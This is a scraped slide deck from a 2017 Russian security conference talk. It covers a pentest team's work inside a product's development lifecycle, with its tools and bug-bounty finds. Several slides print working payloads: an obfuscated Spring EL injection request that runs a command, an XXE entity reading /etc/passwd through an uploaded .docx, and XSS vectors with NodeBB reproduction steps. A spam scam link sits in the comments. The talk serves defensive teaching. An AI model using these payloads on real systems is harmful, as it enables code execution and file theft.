Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)

216 views

Published on

РИТ++ 2017, секция ML + IoT + ИБ
Зал Белу-Оризонти, 5 июня, 12:00

Тезисы:
http://ritfest.ru/2017/abstracts/2758.html

Наш доклад на тему, которая практически не имеет подробного описания в интернете. Мы хотим рассказать, как мы (Digital Security) - компания, которая специализируется на анализе защищённости и исследованиях в области ИБ - внедрились в цикл разработки продуктов. Посвятим немного времени SDLC.

Расскажем историю внедрения своей команды для повышения общего уровня безопасности различных аспектов в уже существующий большой проект. Опишем, как строим свои процессы от общего выделения времени, разделения большого количества различных сервисов на компоненты, до отдельных уязвимостей и применяемых нами тулзов.

Published in: Engineering
  • Got a new Iphone 6 in just 7 days completing surveys and offers! Now I'm just a few days away from completing and receiving my samsung tablet! Highly recommended! Definitely the best survey site out there! ♣♣♣ http://t.cn/AieX2Loq
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
  • Be the first to like this

Внедрение SDLC в боевых условиях / Егор Карбутов (Digital Security)

  1. 1. Внедрение SDLC в боевых условиях Карбутов Егор 05.06.2017 ‹#›
  2. 2. $ Whoami • Penetration tester @ Digital Security • Bug Hunter Внедрение SDLC в боевых условиях 2 Cure53 05.06.2017
  3. 3. Agenda • Work Organization • Types of Penetration Testing • SDLC? • +/- • Product Components • Team • PLAN-PLAN • Bugs and Practice • Tools • Some security bugs • Success BugBounty Stories • Conclusion Внедрение SDLC в боевых условиях 305.06.2017
  4. 4. Внедрение SDLC в боевых условиях 4 Work Organization 05.06.2017
  5. 5. Types of Penetration Testing Внедрение SDLC в боевых условиях 5 One Iteration 05.06.2017
  6. 6. Types of Penetration Testing Внедрение SDLC в боевых условиях 6 One Iteration N Iteration Per Year 05.06.2017
  7. 7. Types of Penetration Testing Внедрение SDLC в боевых условиях 7 One Iteration N Iteration Per Year Outsource BugBounty 05.06.2017
  8. 8. Types of Penetration Testing Внедрение SDLC в боевых условиях 8 Full Time Penetration Testing One Iteration N Iteration Per Year Outsource BugBounty 05.06.2017
  9. 9. SDLC/SSDL • The systems development life cycle (SDLC)/Secure software development lifecycle (SSDL) • Who Uses • MS • CISCO Внедрение SDLC в боевых условиях 9 MS Process Guidance: https://msdn.microsoft.com/ru-ru/library/windows/desktop/84aed186-1d75-4366-8e61-8d258746bopq.aspx 05.06.2017
  10. 10. Classic Types of Penetration Testing • So much report • Low awareness about services • Lack of communication with developers • Rotation of auditors • Full Black box OR Grey box Внедрение SDLC в боевых условиях 1005.06.2017
  11. 11. Внедрение SDLC в боевых условиях 11 What do you know about us? 05.06.2017
  12. 12. Components • Web • Services: Mail, Calendar, Contacts, Disk, Documents, Admin Console, Logos (messenger) • Mobile App • App: Documents, Mail, Messenger • Platforms: iOS, Android, Tizen • Desktop App • App: Document, Mail, Messenger • Platforms: Linux, OS X, Windows • Server API • Internal services (Redis, Swift e.t.c) Внедрение SDLC в боевых условиях 1205.06.2017
  13. 13. Team Внедрение SDLC в боевых условиях 13 • Three people at full time 05.06.2017
  14. 14. PLAN-PLAN • One Slot = One Week • One Month = Four Slot • One Sprint = Three Month • One Year = Four Sprints • One Year = Four Releases Внедрение SDLC в боевых условиях 1405.06.2017
  15. 15. PLAN-PLAN • 1 – Web App (Mail, Contacts, Calendar) • 2 – Web App (Mail, Contacts, Calendar) • 3 – Mobile App for Android, iOS, Tizen • 4 – Mobile App for Android, iOS, Tizen • 5 – Auth SSO Server; Web App Back-end • 6 – File Server Back-end, Admin Web App + API • 7 – Web App Documents Editor + Back-end Documents Editor • 8 – Desktop App Files • 9 – Desktop App Mail, Contacts, Calendar, Documents • 10 – Messengers for Web, MacOS, Win, Linux + API • 11 – Misc • 12 – Misc • 13 – Misc Внедрение SDLC в боевых условиях 1505.06.2017
  16. 16. Say report again! Внедрение SDLC в боевых условиях 1605.06.2017
  17. 17. Внедрение SDLC в боевых условиях 17 Our reporting 05.06.2017
  18. 18. Внедрение SDLC в боевых условиях 18 Bugs and Practice 05.06.2017
  19. 19. Tools: Burp • Burp • Web Proxy • Scanner • Repeater • Intruder • Spider • ............. Внедрение SDLC в боевых условиях 1905.06.2017
  20. 20. Tools: MobSF • Static & Dynamic Analysis Внедрение SDLC в боевых условиях 2005.06.2017
  21. 21. Tools: Tizen IDE • No one knows about the safety of this (Almost) • Use Tizen IDE Внедрение SDLC в боевых условиях 2105.06.2017
  22. 22. Remote Code Execution – EL Injection • Expression Language (EL) Injection happens when attacker controlled data enters an EL interpreter. • Risk: RCE • ${5*5} = 25 • ?vulnerable=T(java.lang.Runtime).getRuntime().exec(“cmd.exe”) • Spring Framework < 3.0.6 Внедрение SDLC в боевых условиях 2205.06.2017
  23. 23. Remote Code Execution – EL Injection • GET /api/?X-Atmosphere-tracking- id=${shell=T(org.apache.commons.io.IOUtils).toString(0x7b)+T(org.apache.commons.i o.IOUtils).toString(0x70)+T(org.apache.commons.io.IOUtils).toString(0x69)+T(org.apac he.commons.io.IOUtils).toString(0x6e)+T(org.apache.commons.io.IOUtils).toString(0x6 7)+T(org.apache.commons.io.IOUtils).toString(0x64)+T(org.apache.commons.io.IOUtils ).toString(0x2d)+T(org.apache.commons.io.IOUtils).toString(0x63)+T(org.apache.com mons.io.IOUtils).toString(0x543)+T(org.apache.commons.io.IOUtils).toString(0x33)+T(o rg.apache.commons.io.IOUtils).toString(0x2c)+T(org.apache.commons.io.IOUtils).toStri ng(0x37)+T(org.apache.commons.io.IOUtils).toString(0x52)+T(org.apache.commons.io. IOUtils).toString(0x54)+T(org.apache.commons.io.IOUtils).toString(0x12)+T(org.apache .commons.io.IOUtils).toString(0x34)+T(org.apache.commons.io.IOUtils).toString(0x36) +T(org.apache.commons.io.IOUtils).toString(0x21)+T(org.apache.commons.io.IOUtils).t oString(0x32)+T(org.apache.commons.io.IOUtils).toString(0x42)+T(org.apache.commo ns.io.IOUtils).toString(0x23)+T(org.apache.commons.io.IOUtils).toString(0x31)+T(org.a pache.commons.io.IOUtils).toString(0x22)+T(org.apache.commons.io.IOUtils).toString( 0x64)+T(org.apache.commons.io.IOUtils).toString(0x12)}--whatisSHELL${shell}--- ${T(java.lang.Runtime).getRuntime().exec(shell)} Внедрение SDLC в боевых условиях 2305.06.2017
  24. 24. Remote Code Execution – EL Injection PayPal Внедрение SDLC в боевых условиях 24 http://www.piyushmalik.com/2014/03/el-injection-in-paypal-and-dollars-in.html 05.06.2017
  25. 25. Remote Code Execution – EL Injection PayPal Внедрение SDLC в боевых условиях 25 http://www.piyushmalik.com/2014/03/el-injection-in-paypal-and-dollars-in.html 05.06.2017
  26. 26. XML External Entity Внедрение SDLC в боевых условиях 26 • An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. • Risk: • DOS • SSRF • Port Scaning • Reading files 05.06.2017
  27. 27. XML External Entity Внедрение SDLC в боевых условиях 27 • Creating .docx document (docx = zip) • Unzip document • Added to one of the xml: <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> … <foo>&xxe;</foo> • Zip document • Upload to server 05.06.2017
  28. 28. XML External Entity Внедрение SDLC в боевых условиях 2805.06.2017
  29. 29. XML External Entity Tool: OXML_XXE Внедрение SDLC в боевых условиях 29 • This tool is meant to help test XXE vulnerabilities in OXML document file formats. Currently supported: • DOCX/XLSX/PPTX • ODT/ODG/ODP/ODS • SVG • XML • PDF • JPG • GIF https://github.com/BuffaloWill/oxml_xxe 05.06.2017
  30. 30. XML External Entity - Yandex Внедрение SDLC в боевых условиях 30 @vah_13 05.06.2017
  31. 31. Success BugBounty Stories • DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It's written in JavaScript and works in all modern browsers: • Safari • Opera (15+) • Internet Explorer (10+) • Firefox • Chrome • Anything else using Blink or WebKit • Developers and Contributors: • @0x6D6172696F • @filedescriptor • @shafigullin Внедрение SDLC в боевых условиях 31 Cure53 05.06.2017
  32. 32. Success BugBounty Stories • Classic Vector Make Money only for Safari: • <svg onload=alert(document.domain)> Внедрение SDLC в боевых условиях 32 Cure53 05.06.2017
  33. 33. Success BugBounty Stories Внедрение SDLC в боевых условиях 33 Cure53 05.06.2017
  34. 34. Success BugBounty Stories Внедрение SDLC в боевых условиях 34 Cure53 05.06.2017
  35. 35. Success BugBounty Stories • DOMPurify XSS for Safari ---> Safari document.implementation problem • Incorrect SVG tag handling + Processing pages using vuln functions Внедрение SDLC в боевых условиях 35 Cure53 05.06.2017
  36. 36. Success BugBounty Stories • NodeBB XSS • Exact steps to cause this issue • Change user email to 2@ya.ru"><svg/onload=alert(1)> (http://192.168.189.133:4567/user/:userslug/edit/email) • Admin go to http://192.168.189.133:4567/admin/manage/users/search • Search users by username or email • Javascript executed Внедрение SDLC в боевых условиях 3605.06.2017
  37. 37. Success BugBounty Stories Внедрение SDLC в боевых условиях 3705.06.2017
  38. 38. Success BugBounty Stories • NodeBB security issue Внедрение SDLC в боевых условиях 38 @andrewaeva 05.06.2017
  39. 39. Conclusion • Auditors have a lot of information about the process of developing internal services • Access to the source code • The opportunity to participate in the construction of an architecture • Shifting work from the black box to the white box • Problem with reporting • Competent allocation of auditors' resources • Increase the level of an expertise due to a large number of different services • Research of third-party products (bugbounty, public regards) • A more detailed research of the system - search for more complex vulnerabilities Внедрение SDLC в боевых условиях 3905.06.2017
  40. 40. Links • MS Process Guidance: https://msdn.microsoft.com/ru-ru/library/windows/desktop/84aed186-1d75- 4366-8e61-8d258746bopq.aspx • Burp – https://portswigger.net/burp/ • MobSF – https://github.com/MobSF/Mobile-Security-Framework-MobSF • OXML_XXE – https://github.com/BuffaloWill/oxml_xxe • DOMPurify – https://github.com/cure53/DOMPurify • NodeBB – https://github.com/NodeBB/NodeBB • PayPal EL Injection – http://www.piyushmalik.com/2014/03/el-injection-in- paypal-and-dollars-in.html Внедрение SDLC в боевых условиях 4005.06.2017
  41. 41. Any questions? Thanks! Внедрение SDLC в боевых условиях 41 @ShikariSenpai 05.06.2017

×